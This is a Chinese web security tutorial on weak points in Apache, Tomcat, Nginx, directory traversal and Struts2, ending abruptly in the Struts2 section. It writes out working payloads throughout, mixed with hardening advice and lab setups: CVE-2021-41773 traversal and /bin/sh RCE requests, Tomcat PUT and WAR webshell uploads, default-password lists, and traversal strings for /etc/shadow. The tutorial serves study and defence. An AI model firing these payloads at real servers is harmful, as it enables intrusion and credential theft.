关于 Web 安全:4. 中间件 & 框架风险点分析
一、Apache
Apache HTTP Server(httpd) 是全球最广泛使用的 Web 服务器之一,支持模块化扩展、高度配置灵活,常见于 Linux 服务器中。
-
默认端口:80(HTTP)
-
配置文件路径:/etc/httpd/conf/httpd.conf 或 /etc/apache2/apache2.conf
-
支持 .htaccess 进行目录级别配置
1.1 Apache 配置错误导致的绕过
1).htaccess 限制绕过
.htaccess 文件可控制子目录访问权限,若配置不当,可被特殊路径绕过。
示例:
Order allow,deny Deny from all
但访问:
http://target.com/private/.%2e/ http://target.com/private/%2e%2e/
在某些旧版本中,.%2e 会被解析为 .. → 导致绕过。
2)Alias 配置引发的信息泄露
Alias /secret /var/backups/ Require all denied
攻击者访问:
http://target.com/secret/.git/config
可能绕过访问限制。
3)多路径绕过
Apache 会将部分路径做解码后再处理,可能引发绕过:
-
%2e/ → ./
(图片来源网络,侵删) -
%2e%2e/ → ../
-
....// → ../
(图片来源网络,侵删)配合错误的路径解析逻辑,就能穿越目录限制,访问敏感文件。
1.2 Apache 目录穿越风险点(Directory Traversal)
1)原理:攻击者通过构造 ../ 或编码形式访问 Web 根目录外的文件。
2)示例请求:
GET /download?file=../../../../etc/passwd HTTP/1.1
如果没有做参数过滤,Apache 会将其视为路径拼接的一部分,读取系统敏感文件。
3)编码绕过形式:
编码形式 说明 ..%2f ../ 编码后 %c0%ae%c0%ae 过时编码法(Apache 1.x/2.0) ....// 多点形式绕过 %2e%2e/ 同样表示 ../ 1.3 Apache 文件解析风险点(文件双扩展)
原理:Apache 解析文件时,仅按第一个后缀决定类型,例如:
test.php.txt → Apache 仍当成 PHP 执行(配置问题)
配合上传风险点使用,可以绕过上传限制,实际上传并执行 WebShell。
1.4 Apache RCE 风险点(远程命令执行)
虽然 Apache 本身结构比较简单,逻辑风险点少见,但其某些模块曾经存在过 RCE 风险点。
案例:Apache HTTP Server Path Normalization RCE
-
风险点编号:CVE-2021-41773、CVE-2021-42013
-
影响版本:Apache 2.4.49、2.4.50
-
触发条件:
-
配置开启了 Require all granted
-
使用路径绕过,如 %2e%2e
风险点利用:
GET /cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd HTTP/1.1
甚至可以直接 RCE:
POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh Content-Type: application/x-www-form-urlencoded echo;id
修复方法:
-
升级 Apache 至 >=2.4.51
-
禁用路径访问并配置严格 Directory 控制
1.5 安全配置建议(防止绕过/穿越)
项目 建议 .htaccess 不要依赖,仅在主配置中定义权限 URL 编码处理 禁用双重解码(AllowEncodedSlashes NoDecode) 文件上传 使用白名单校验后缀、类型 限制执行目录 SetHandler none 配合 Directory 禁止 .git / .svn RedirectMatch 404 /\.git 开启 WAF / ModSecurity 阻止非法路径访问 1.6 实战环境与复现方式
推荐靶场(带 Apache 配置风险点):
-
Vulhub: https://github.com/vulhub/vulhub
-
包含 CVE-2021-41773 的 Apache RCE 环境
-
风险点演示 Docker:
cd vulhub/apache/CVE-2021-41773 docker-compose up -d
然后访问:
curl http://localhost:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd
1.7 自动化工具扫描
工具 用途 Nuclei 快速扫描 Apache CVE xray 配合 Burp Suite 拦截/扫描 Dirsearch 扫描敏感目录路径 Nikto 检测 Apache 配置风险点 二、Tomcat
Apache Tomcat 是一款开源的 Java Servlet 和 JSP 容器,是运行 Java Web 项目的主流服务器,通常监听 8080 端口。典型部署路径:
/opt/tomcat/ 或 /usr/local/tomcat/
2.1 Tomcat 常见攻击面汇总
类型 风险点或问题 配置弱点 默认后台 / 弱口令 / manager 控制台未授权 文件上传 WAR 包部署 Getshell 路径穿越 利用 %c0%ae 编码穿越目录 RCE 多个 CVE 历史远程代码执行风险点 信息泄露 配置文件、版本、栈追踪 AJP 协议 AJP Ghostcat 风险点 RCE(CVE-2020-1938) 2.2 Tomcat 后台管理页面 Getshell
1)Tomcat 默认后台路径
-
/manager/html
-
/host-manager/html
若未设置密码或使用弱口令,攻击者可登录后台,上传 WebShell。
2)默认弱口令组合(字典打点)
用户名 密码 tomcat tomcat admin admin root root tomcat (空) 可以用 nmap+http-enum 或 hydra 爆破登录后台。
3)后台上传 WebShell(WAR 包部署)
上传方式:
Tomcat 后台支持上传 .war 格式的 Java 应用包。只要上传成功,就能访问其中的 JSP 文件,实现命令执行。
手动部署流程:
-
制作一个 shell.jsp 并打成 .war 包,例如 shell.war
-
登录后台 /manager/html 页面,上传该 .war
-
访问:http://target:8080/shell/shell.jsp
这个是 Tomcat 最常见的打点方式之一。
2.3 Tomcat 任意文件上传(CVE-2017-12615)
风险点版本:Tomcat 7.x for Windows,在未开启 PUT 禁止的情况下,支持直接用 PUT 上传 JSP 文件。
利用流程:
curl -X PUT "http://target:8080/shell.jsp" -d "" curl http://target:8080/shell.jsp
条件:
-
Windows 环境
-
WebDAV PUT 方法未禁用
-
MIME 类型未限制
用法同文件上传风险点,最终直接访问上传的 JSP 文件实现命令执行。
2.4 Tomcat 路径穿越(CVE-2020-1938 / Ghostcat)
组件:AJP(默认监听 8009)
Apache JServ Protocol 是 Tomcat 内部通信协议,未认证,高危
风险点详情:
-
CVE-2020-1938
-
可利用 AJP 协议进行文件包含 / LFI / RCE
-
可读取 web.xml,甚至插入 WebShell
利用工具:
-
ajpShooter(可读配置文件)
-
GhostcatScan(批量扫描)
-
TomcatAjpExploit.py(远程写入 WebShell)
2.5 信息泄露风险
1)目录列目录开启
http://target:8080/examples/
暴露源码、上传功能、shell 文件等。
2)配置文件泄露
-
web.xml:可读取部署结构
-
tomcat-users.xml:后台账户密码
-
catalina.out:日志信息
2.6 实战复现:Tomcat 后台上传 getshell
环境部署(用 Vulhub):
git clone https://github.com/vulhub/vulhub cd vulhub/tomcat/CVE-2017-12615 docker-compose up -d
访问:
curl -X PUT http://localhost:8080/shell.jsp -d "" curl http://localhost:8080/shell.jsp?cmd=whoami
2.7 安全防护建议
项目 建议 删除后台 上线时移除 /manager /host-manager 强密码 设置强管理员密码 禁止 PUT 在 web.xml 禁止 PUT 方法 关闭 AJP 不使用时直接注释 AJP 端口 限制上传目录 上传目录配置不允许执行(非 Web 根目录) 设置 MIME 类型 不允许 JSP 作为普通上传类型 2.8 辅助工具推荐
工具 用途 Nmap + NSE 检测后台、AJP 端口 Burp Suite 中间人攻击后台登录 Metasploit tomcat_mgr_upload 模块 tomcatScan.py 爆破后台、上传 WAR 包 AjpShooter AJP 文件包含、读取 三、Nginx 配置绕过
Nginx 是轻量级、高性能的反向代理服务器/负载均衡器,也可作为 HTTP 服务器使用,配置灵活但容易出现逻辑风险点。
常见路径:
/etc/nginx/nginx.conf /etc/nginx/sites-enabled/default
3.1 Nginx 配置绕过的本质
Nginx 本身不具备权限控制能力(不像 Apache 可配 .htaccess),它是基于 URI 路由规则匹配实现访问控制的。
如果配置不当或存在特殊匹配顺序问题,就可能被攻击者通过构造特殊路径来绕过访问控制、执行敏感操作或访问禁止资源。
3.2 常见 Nginx 绕过技巧
1)文件后缀伪装绕过(别名与路径处理不一致)
>示例配置:
location /uploads/ { deny all; } location ~ \.php$ { fastcgi_pass 127.0.0.1:9000; }
>绕过方法:
上传 shell.php.jpg,然后直接访问:
http://target/uploads/shell.php.jpg
Nginx 认为是静态资源(.jpg),但后端 PHP-FPM 可能仍会解析成 PHP 执行。
2)alias 搭配 location 配置错误导致绕过
location /static/ { alias /var/www/private/; deny all; }
但若访问路径中包含 ..:
http://target/static/../private/config.php
则可能访问到 alias 指定目录外的文件(目录穿越),或因 解析位置不一致 被访问成功。
3)内部路径访问绕过
location /admin { allow 127.0.0.1; deny all; }
在未启用 exact match 时,路径 /adminabc 会被匹配到 /admin,从而无法禁止访问。
>绕过方式:
http://target/admin.%00/ http://target/admin%20/ http://target/admin;/index.php
4)斜杠编码绕过(路径混淆)
Nginx 对 / 的编码和解码逻辑不严谨,存在如下绕过方式:
构造 说明 %2e 等价于 . %2f 等价于 / %c0%ae 老版本中等价于 . %ef%bc%8f 全角斜杠 用于构造:
/admin%2f../uploads/ /admin%ef%bc%8f../uploads/
5)使用 $uri 与 $request_uri 不一致造成绕过
location /protected/ { root /data; try_files $uri =404; }
若未正确处理 $request_uri,可能会将原始请求保留,从而产生解析差异导致绕过。
6)使用正则匹配导致权限绕过
location ~ ^/private/.*$ { deny all; }
攻击者访问:
/private.evil/xx.php
绕过正则匹配条件(正则写法不严格)。
7)代理后端绕过:Nginx + PHP-FPM / Node.js 时路径控制不一致
Nginx 处理路径时解码,而后端应用如 PHP-FPM / Node.js 可能再次解码,造成双重解码绕过。
location ~ \.php$ { fastcgi_pass 127.0.0.1:9000; }
上传一个 a.php%00.jpg,绕过 .jpg 白名单。
8)Nginx 无法禁止实际物理目录文件(与 try_files 配合)
location /admin { deny all; }
但若 /admin/index.html 存在,且使用:
location / { try_files $uri $uri/ /index.php; }
可能仍会访问成功。
3.3 实际风险点案例分析
CVE-2017-7529:Nginx range 越界整数溢出(DoS 信息泄露)
影响版本:
攻击方式:构造非法 Range 头,造成整数溢出读取服务器敏感内容。
Range: bytes=-9223372036854775808,0
如果存在缓存代理服务,可造成信息泄露甚至崩溃。
SSRF 绕过场景(Nginx 转发时不验证 Host)
如果配置:
location /api/ { proxy_pass http://backend/; }
攻击者访问:
curl http://target/api/http://127.0.0.1:9000/admin
后端未验证 Host,可能造成 SSRF + 内部接口访问。
3.4 防御与安全配置建议
项目 建议 路径匹配 使用 = 或 ^~ 精确匹配路径 禁止执行目录 将上传目录设为静态资源目录 后缀白名单 后端必须限制执行文件后缀 禁止特殊编码 设置 merge_slashes off; 等规则 拒绝不安全方法 如 PUT、TRACE 等 禁用 AJP / 限制内网 避免暴露后端协议端口 3.5 工具推荐
工具 用途 Dirsearch / Ffuf 发现被绕过的目录 Nuclei 快速检测路径绕过规则 Burp Suite 手动构造编码绕过请求 Nikto 检测 Web 服务配置风险点 Xray 自动识别 Nginx 配置问题 3.6 实战复现环境推荐
-
Vulhub 中的 Nginx 路径穿越与反代穿透环境
-
自建 Nginx 示例配置 + PHP-FPM 实现绕过和解析差异
-
配合 Burp 手动构造 %2e、%2f、%00 等路径参数进行验证
四、目录穿越
目录穿越(Directory Traversal) 是指攻击者利用服务端对用户输入的路径过滤不严,通过构造 ../ 或变种,访问本不应暴露的服务器文件,如配置文件、密码、敏感代码等。
本质:服务端直接或拼接式地读取了用户输入的文件路径,未做或未正确做 路径净化(path sanitization)。
4.1 常见利用方式
1)基本绕过方式(Linux)
GET /download.php?file=../../../../etc/passwd
2)Windows 系统下的路径穿越
GET /read?file=..\..\..\windows\win.ini
3)多层绕过构造技巧
构造方式 示例 URL 编码 %2e%2e%2f = ../ 双重编码 %252e%252e%252f Unicode 编码 %u2216u2216..%u2216 文件截断 file=../../../secret.txt%00.jpg 大小写混淆 ..%2f..%5cetc/passwd 4.2 目录穿越风险点常见场景
1)文件读取类接口
攻击:
/index.php?file=../../../../../../etc/passwd
2)下载功能
readfile("/downloads/" . $_GET['f']);
攻击:
/download?f=../../../etc/shadow
3)日志查看器、错误信息回显功能
很多后台管理系统或 CMS 也存在这种功能,被攻击者用于读取任意日志或代码文件。
4.3 真实案例分析
CVE-2021-41773(Apache 目录穿越 + RCE)
-
Apache 2.4.49/2.4.50 的路径规范化存在风险点
-
构造请求即可访问任意文件:
GET /cgi-bin/.%2e/%2e%2e/%2e%2e/etc/passwd
如果开启了 CGI 解析甚至可远程执行命令(RCE)。
ThinkPHP 5.0.x 的任意文件读取
构造:
/index.php?s=../../../../../public/index/think/app/invokefunction&function=phpinfo
利用 think/invokefunction 接口实现文件包含甚至命令执行。
4.4 目录穿越变种风险点
1)任意文件读取(LFI)
-
Directory Traversal 往往是 LFI 的入口(Local File Inclusion)
-
利用 php://filter、zip、data 协议可进一步提升危害
2)配合上传 getshell(穿越路径控制写入位置)
上传点绕过时可以构造 filename=../../webroot/shell.jsp,从而造成任意文件写入 + Getshell
4.5 危险文件读取点汇总
文件名 说明 /etc/passwd Linux 系统用户信息 /etc/shadow 密码哈希 /var/log/nginx/access.log 访问日志 C:\Windows\win.ini Windows 配置文件 web.xml / .env Web 项目配置信息 .git/config Git 信息泄露 config.php / db.php 数据库密码 4.6 防御方式
防护措施 描述 路径白名单 严格限定可访问路径范围 路径净化 使用 realpath()、basename() 等函数处理 禁止 .. 明确过滤 ../、..\、编码后的形式 权限隔离 运行用户权限受限(无 root 读权限) WAF 策略 拦截常见穿越 payload(../、%2e%2e%2f) 日志监控 实时记录并监控路径异常请求 4.7 目录穿越检测技巧
1)使用 Burp Intruder 自动爆破测试
Payload 列表示例:
../../../../etc/passwd ..%2f..%2f..%2fetc%2fpasswd ..%5c..%5c..%5cwindows%5cwin.ini
2)Fuzz 文件读取接口的参数名
如 file=, path=, url=, page=, log= 等常见关键字。
3)使用自动化工具
工具 功能 DirBuster / Dirsearch 爆破目录路径 Burp Scanner / ZAP 自动检测穿越点 Nuclei 使用模板检测文件读取/穿越 LFI-Freak 自动化 LFI 风险点利用 DotDotPwn 专门的目录穿越 Fuzzer 4.8 实战复现环境推荐
Vulhub 示例:
git clone https://github.com/vulhub/vulhub cd vulhub/apache/CVE-2021-41773 docker-compose up -d
然后:
curl http://localhost:8080/cgi-bin/.%2e/%2e%2e/%2e%2e/etc/passwd
4.9 小结
技术点 是否关键 是否可访问文件系统 是 是否能影响逻辑执行 是(如 PHP include) 是否可结合上传 Getshell 非常常见 穿越 + LFI / RCE 是否可联动 是 是否能轻松被发现 一般需构造精确路径绕过 五、Struts2
Struts2 风险点详解(历史风险点分析与复现)
Struts2 是 Apache 组织开发的 Java Web MVC 框架,由于其基于 OGNL(对象图导航语言)表达式处理机制,历史上曾多次爆出高危远程命令执行(RCE)风险点,造成了 大规模数据泄露与服务器被控。
Struts2 的核心问题:OGNL 表达式注入
OGNL 是 Struts2 的一种表达式语言,用于页面变量访问、标签处理等。但由于早期版本对输入参数未严格过滤,攻击者可以构造恶意表达式,并让服务器解析执行,从而远程执行系统命令。
5.1 代表性风险点一览
编号 风险点名 影响范围 危害 S2-005 OGNL 注入
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-